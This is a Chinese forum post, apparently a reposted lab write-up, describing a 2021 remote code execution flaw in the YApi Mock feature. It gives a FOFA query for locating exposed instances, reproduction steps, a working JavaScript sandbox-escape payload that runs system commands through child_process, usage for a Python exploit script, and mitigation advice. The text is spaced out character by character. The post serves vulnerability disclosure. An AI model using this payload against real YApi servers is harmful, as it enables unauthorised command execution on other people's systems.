搜索

[68] 2021-07-10_YApiMock远程代码执行漏洞

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-15
2021-07-10_YApiMock远程代码执行漏洞 Y A p i   M o c k   远 程 代 码 执 行 漏 洞 A n d y   7 8 9 0 安 全 攻 防 实 验 室   2 0 2 1 - 0 7 - 1 0 本 文 参 考   g i t h u b   安 全 鸭   g i t h u b 的 漏 洞 详 情 h t t p s : / / g i t h u b . c o m / Y M F E / y a p i / i s s u e s / 2 2 3 3 # 近 日 ， 网 络 上 爆 出   Y A p i   的 远 程 代 码 执 行   0 d a y   漏 洞   正 被 广 泛 利 用 。 攻 击 者 通 过 注 册 用 户 后 ， 即 可 通 过   M o c k   功 能 远 程 执 行 任 意 代 码 。 漏 洞 描 述 Y A P I 接 口 管 理 平 台 是 国 内 某 旅 行 网 站 的 大 前 端 技 术 中 心 开 源 项 目 ， 使 用 m o c k 数 据 / 脚 本 作 为 中 间 交 互 层 ， 为 前 端 后 台 开 发 与 测 试 人 员 提 供 更 优 雅 的 接 口 管 理 服 务 ， 该 系 统 被 国 内 较 多 知 名 互 联 网 企 业 所 采 用 。 Y A p i   是 高 效 、 易 用 、 功 能 强 大 的   a p i   管 理 平 台 。 但 因 为 大 量 用 户 使 用   Y A P I 的 默 认 配 置 并 允 许 从 外 部 网 络 访 问   Y A p i 服 务 ， 导 致 攻 击 者 注 册 用 户 后 ， 即 可 通 过   M o c k 功 能 远 程 执 行 任 意 代 码 。 f o f a 语 法 漏 洞 复 现 过 程 ： 这 是 主 页 ~ ~ ~ ~ ~ ~ ~ 首 先 注 册 一 个 用 户 a p p = " Y A p i "
接 着 新 建 一 个 项 目 接 着 返 回 项 目 首 页 新 建 一 个 接 口 ~ ~ ~ ~ ~ ~ ~ ~

写 入 e x p ！ ！ ！ ！ ！
e x p ： 保 存 后 直 接 访 问 接 口 c o n s t   s a n d b o x   =   t h i s c o n s t   O b j e c t C o n s t r u c t o r   =   t h i s . c o n s t r u c t o r c o n s t   F u n c t i o n C o n s t r u c t o r   =   O b j e c t C o n s t r u c t o r . c o n s t r u c t o r c o n s t   m y f u n   =   F u n c t i o n C o n s t r u c t o r ( ' r e t u r n   p r o c e s s ' ) c o n s t   p r o c e s s   =   m y f u n ( ) m o c k J s o n   =   p r o c e s s . m a i n M o d u l e . r e q u i r e ( " c h i l d _ p r o c e s s " ) . e x e c S y n c ( " w h o a m i " ) . t o S t r i n g ( )
详 情 参 考 g i t h u b 地 址                                     h t t p s : / / g i t h u b . c o m / Y M F E / y a p i / i s s u e s / 2 2 3 3 #                                   一 个 不 愿 意 透 露 姓 名 的 好 心 人 提 供 好 了   p y t h o n 3 脚 本                                 使 用 方 法   p y t h o n 3   e x p . p y   - u   u r l   - e   w h o m i                                 脚 本 稍 微 有 点 问 题   凑 合 用 吧 修 复 建 议 该 漏 洞 暂 无 补 丁 。 临 时 修 复 建 议 ： 1 .   关 闭 Y A P I 用 户 注 册 功 能 ， 以 阻 断 攻 击 者 注 册 。 2 .   利 用 请 求 白 名 单 的 方 式 限 制   Y A P I   相 关 端 口 。 3 .   排 查   Y A P I   服 务 器 是 否 存 在 恶 意 访 问 记 录 。 切 勿 非 法 用 途 ， 履 行 白 帽 职 责 。                                                           脚 本 公 众 号 回 复   Y A P I 即 可
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理